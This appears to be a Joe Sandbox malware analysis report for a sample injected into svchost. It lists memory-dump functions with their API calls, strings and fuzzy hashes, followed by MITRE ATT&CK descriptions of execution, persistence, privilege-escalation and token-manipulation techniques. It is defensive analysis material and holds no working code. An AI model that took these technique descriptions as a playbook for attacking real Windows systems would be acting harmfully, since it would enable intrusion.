Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 1a5c3ceabbb9674ab88b816016c5392cd132a216a6156abeb41612a421397731
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 8902BB32619B848ADBA0CB59E89535EB7A0F3D6794F100125FA8E87B68EF7CC544CB01

Function 000002A3F0665710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002A3F0665726

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: fdf0353c2c9d7431a73655fa855ee1d883f357c26d152c9830ae0b22cfb9d9d6
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: CF619136A29644CBEAA0CB19E95931E77E4F396784F100125F68D8BF64EF78C540CB01

Function 000002A3EFFD3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002A3EFFD352C
_set_statfp.LIBCMT ref: 000002A3EFFD3547
_set_statfp.LIBCMT ref: 000002A3EFFD3563
_set_statfp.LIBCMT ref: 000002A3EFFD359F

Memory Dump Source

Source File: 0000002E.00000002.3039339786.000002A3EFFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3EFFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3effc0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: b3d2515fd7531a192da7560432244ddb1d5725737d85a7ce7cb71133a17b834d
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 3E11A762710A1BD3FA549728E74D36911C06F5BBB4F48472BBB66862D6CEF6CB434202

Function 000002A3F0674104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002A3F067412C
_set_statfp.LIBCMT ref: 000002A3F0674147
_set_statfp.LIBCMT ref: 000002A3F0674163
_set_statfp.LIBCMT ref: 000002A3F067419F

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 778c29c2b52a37e8828e8148e915df3a772d082812edea363ef07373fae80013
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: E4116D22F34A501BF6E5A56CDC5D3751144EB7B3B8E890634B97686ED6EF34CAC14203

Function 000002A3EFFCF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002A3EFFCF124

Strings

or copy constructor iterator', xrefs: 000002A3EFFCF25A, 000002A3EFFCF275
Tuesday, xrefs: 000002A3EFFCF0F4
Wednesday, xrefs: 000002A3EFFCF1ED

Memory Dump Source

Source File: 0000002E.00000002.3039339786.000002A3EFFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3EFFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3effc0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 72e7a858243a0862991be92073fd25fa4d2ae0b65c3be1701e8c213c550465a5
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 0861922670026043F769CB65E74C369AAA0EF83B50F554417FA0A977E4DFF4CB47822A

Function 000002A3F066AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000002A3F066AA68
_CallSETranslator.LIBVCRUNTIME ref: 000002A3F066AAB7

Strings

RCC, xrefs: 000002A3F066AA85
MOC, xrefs: 000002A3F066AA7C

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 0c64597300c946a2c78553bcffee072166d80c1db9bdc91f256f0f9a0b87a364
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: EA617D32B10B448BE750DF69D84439DB7A0F356B88F044226EF495BB99EF38C655CB01

Function 000002A3EFFCA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A3EFFCA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002A3EFFCA288

Strings

csm, xrefs: 000002A3EFFCA1C2
csm, xrefs: 000002A3EFFCA2DA

Memory Dump Source

Source File: 0000002E.00000002.3039339786.000002A3EFFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3EFFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3effc0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 7d3f4da836a6d3a3b3a2b9affbb5badf6e48be98e05b9c20b87d266e2fd35715
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 3A51B3322002A0CBEB74CF65966835877A0FF56B84F144117EA49D7BC5CFB9E652C70A

Function 000002A3F066AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A3F066ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002A3F066AE88

Strings

csm, xrefs: 000002A3F066AEDA
csm, xrefs: 000002A3F066ADC2

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 6f1cb0b0e2f77e083062affd172c0089a59e910c1f2d4a4a0f9650168a2628ac
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 7C518272A203808FEBA4CF19994835DB7A0F767B84F144125FA598BF95EF38D650CB02

Function 000002A3EFFC8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A3EFFC8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000002A3EFFC84A8

Strings

f, xrefs: 000002A3EFFC8426
csm, xrefs: 000002A3EFFC848E

Memory Dump Source

Source File: 0000002E.00000002.3039339786.000002A3EFFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3EFFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3effc0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 18d4462e912e04e262cb9d845cbb99dddd9bdd6a83f29b90a56fac2c5e1f1e45
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 3251D13270162087DB14CF15D648B283795FB42FA8F168427EA0683788EFF5CB42C70A

Function 000002A3EFFC83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A3EFFC8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000002A3EFFC84A8

Strings

f, xrefs: 000002A3EFFC8426
csm, xrefs: 000002A3EFFC848E

Memory Dump Source

Source File: 0000002E.00000002.3039339786.000002A3EFFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3EFFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3effc0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 638603215c4bd4605fef7f0d1933761329d4d304d81e6a47645db0f5dcc0997b
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 35318C7130165087E714DF11E948B1937A4FB42B98F168417BE5A87788DFB9CB42C70A

Function 000002A3F0672058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002A3F06720D7
WriteFile.KERNEL32 ref: 000002A3F067239F
WriteFile.KERNEL32 ref: 000002A3F06723E5
GetLastError.KERNEL32 ref: 000002A3F067249B

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 1dea74a7b9dd16eb4baa4bb49ba0bef5543a7e9b7916fd59b1bcb17493166bde
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: F9D1D172B24A808EE751CF79D84839C3BB1F366798F144226EE5997F99EE34C606C341

Function 000002A3F06614A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A3F06614C5
HeapFree.KERNEL32 ref: 000002A3F06614D4
GetProcessHeap.KERNEL32 ref: 000002A3F06614E1
HeapFree.KERNEL32 ref: 000002A3F06614F0
GetProcessHeap.KERNEL32 ref: 000002A3F0661500

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: d536798ee46fa44b5ad918a9dcf1e87bae4019f298dbc0d8180429603494c22b
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: 13014C32A20A90CBDB44DF6AED0C14A67A0F79AF81F484435FA4987B29EE38C251C741

Function 000002A3F0672980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000002A3F0672A9C
GetLastError.KERNEL32 ref: 000002A3F0672B27

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: a4cb1103299b726bc7b01eccba19e47c4a24c67d0d3a46935793449ef8735077
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: A491A662F206518EF7A1DF6D9C4836D2BA0F727B8CF144125EE0697E95EE34C685C702

Function 000002A3F0667960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000002A3F066798C
GetCurrentThreadId.KERNEL32 ref: 000002A3F066799A
GetCurrentProcessId.KERNEL32 ref: 000002A3F06679A6
QueryPerformanceCounter.KERNEL32 ref: 000002A3F06679B6

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 64750482dc4921f28b12e3224374007b2b1ae6a2ef3d88e21d4456c50efc5c58
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 70112421B20F018AEF40CF64EC583A833A4F76A758F440D31FA6D86B54EF78C2948341

Function 000002A3F066253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002A3F0662620
StrCpyW.SHLWAPI ref: 000002A3F0662639

Strings

\\.\pipe\, xrefs: 000002A3F066262B

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: fb96a1d8bf94e82a1d2f4f61f31f1e99a0b6281a65b0fdd7fc554e0c5c89d442
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: BF719336B20B824BD7A4DE299C487AD6A94F3A7788F440035ED099BF89EE35C7458701

Function 000002A3EFFC9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000002A3EFFC9EB7

Strings

MOC, xrefs: 000002A3EFFC9E7C
RCC, xrefs: 000002A3EFFC9E85

Memory Dump Source

Source File: 0000002E.00000002.3039339786.000002A3EFFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3EFFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3effc0000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 1c071c4e189e1926709cb0ed332f7ab93af7b290c7f773ceed20fa96e7bdadd9
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 3C617633600B948AEB20DF65D18439D7BA0FB49B88F044217EF4957B98EFB8D296C705

Function 000002A3F0662330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002A3F0662416
StrCpyW.SHLWAPI ref: 000002A3F066242D

Strings

\\.\pipe\, xrefs: 000002A3F0662421

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 5f936f7cd74c6ad8cabcdb3786854e477f79e51e7e3fe2a465b702ceea4c6f09
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: D351E722B24B828BE7B4CF2EA85C36E5691F3A7744F440135ED4A87F49EE39C6448742

Function 000002A3F06726F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002A3F0672807
GetLastError.KERNEL32 ref: 000002A3F0672829

Strings

U, xrefs: 000002A3F06727B3

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 4a4f14ede015f19fba4b8dc1191ceb6a241eb7a7a156b13a3e921accdb9fad5b
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 4041A472B24A418ADB60CF29E84839967A0F7AA794F404035FE4DC7B94EF7CC645C741

Function 000002A3F06694A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002A3F06694F0
RaiseException.KERNEL32 ref: 000002A3F0669531

Strings

csm, xrefs: 000002A3F066951E

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 4dfaae02607e1d63d71d13f1f569e1bfbbce690b7281460ac2c766a79d4aa6aa
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 44113032614B4086EBA1CF19F84435977E5F79AB94F584220EE8D4BB59EF3CC655C700

Function 000002A3EFFC7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002A3EFFC737C

Strings

riptor at (, xrefs: 000002A3EFFC7364
ierarchy Descriptor', xrefs: 000002A3EFFC7381

Memory Dump Source

Source File: 0000002E.00000002.3039339786.000002A3EFFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3EFFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3effc0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 537a0299432303b2994cf101a968846695946c7fbee4695c8a398a611903422e
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 65E08661740B44D1DF02CF22E94429833A0DF59B68F889123A95C46311FF78D3EAC302

Function 000002A3EFFC73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002A3EFFC73D8

Strings

Locator', xrefs: 000002A3EFFC73DD
riptor at (, xrefs: 000002A3EFFC73C0

Memory Dump Source

Source File: 0000002E.00000002.3039339786.000002A3EFFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3EFFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3effc0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 3fa43d97622781504111e28302cccdffe62b838d3364dff2f09d1e1dee9b6f76
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: DCE08661740B44C5DF01CF21D5402987360EF59B58F889123D94C46311FF78D2E6C301

Function 000002A3F0661BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A3F0661C2D
HeapAlloc.KERNEL32 ref: 000002A3F0661C3B
GetProcessHeap.KERNEL32 ref: 000002A3F0661C77
HeapFree.KERNEL32 ref: 000002A3F0661C85

Part of subcall function 000002A3F066152C: StrCmpIW.SHLWAPI ref: 000002A3F066155D

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 899d41f3a461e795506a272869949aa2b30dded974880c644d390ca07638d0fa
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: DC116325B21B448AEA84DB5EA80C22D67A1F79BFC0F584035EE4D9BB65EE38D5419301

Function 000002A3F0661268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A3F066126E
HeapAlloc.KERNEL32 ref: 000002A3F066127D
GetProcessHeap.KERNEL32 ref: 000002A3F0661297
HeapAlloc.KERNEL32 ref: 000002A3F06612A8

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 11941aba65ac1e048ab5c377d395697b824e5f1c455e2688e9b7b208c8c371a4
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: B4E03935B216048BEB44CB6AD80C34A36E1EB9AB06F848024990947751FF7D8599C751

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

